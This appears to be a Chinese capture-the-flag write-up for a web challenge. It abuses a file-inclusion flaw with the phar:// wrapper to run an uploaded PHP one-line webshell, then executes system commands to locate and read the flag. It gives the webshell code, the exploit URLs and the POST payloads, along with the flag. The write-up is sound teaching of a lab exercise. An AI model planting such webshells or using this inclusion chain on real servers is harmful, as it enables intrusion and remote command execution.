CTF--这好像不是文件上传
打开题目F12看到一个被注释的跳转。
访问可以知道是一个文件包含
经过测试,该文件禁止了input、data关键字。并禁止了phar://协议。
使用php://filter读取题目源码得到
读取upload.php文件源码如下:
可以看出upload文件将上传的文件后缀改为txt,文件为重命名了。所以想到利用phar://协议,将一个1.php写入一句话木马,
<?php eval($_POST['a']);?>
压缩为1.zip,后缀名改为1.txt。上传成功,这里我进行访问的使用采用相对路径显示报错,因此我才用的绝对路径包含,构造payload,访问如图
http://47.94.221.39:8003/upload.php?file=phar:%2f%2f%2fvar%2fwww%2fhtml%2fupload%2f868b29565d344eccbdd032a0c5a82d9d.txt%2f1
a=phpinfo();
ls查看一下发现并没有在当前目录。执行以下命令进行搜索
a=system('find / -name "flag"');
直接显示
http://47.94.221.39:8003/upload.php?file=phar:///var/www/html/upload/3bef1a5876d201c96ff453db1fdf7be3.txt/1
POST:a=system('cat /flag');
unctf{asdasda_LFI_web_234234}